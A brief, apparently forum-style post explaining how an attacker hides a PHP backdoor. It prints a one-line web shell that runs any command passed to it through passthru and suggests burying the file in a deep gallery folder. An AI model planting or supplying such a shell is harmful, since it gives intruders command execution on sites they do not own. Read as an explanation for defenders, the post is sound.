How a hacker hides the backdoor.
He writes a SIMPLE PHP script.
Code:
<? if ($cmd) { passthru($cmd); } ?>
Then places said script inside a directory like:
/yourwebsite/galleries/12/4050/script.php
So that it is somewhere you won't find it without basic command line knowledge.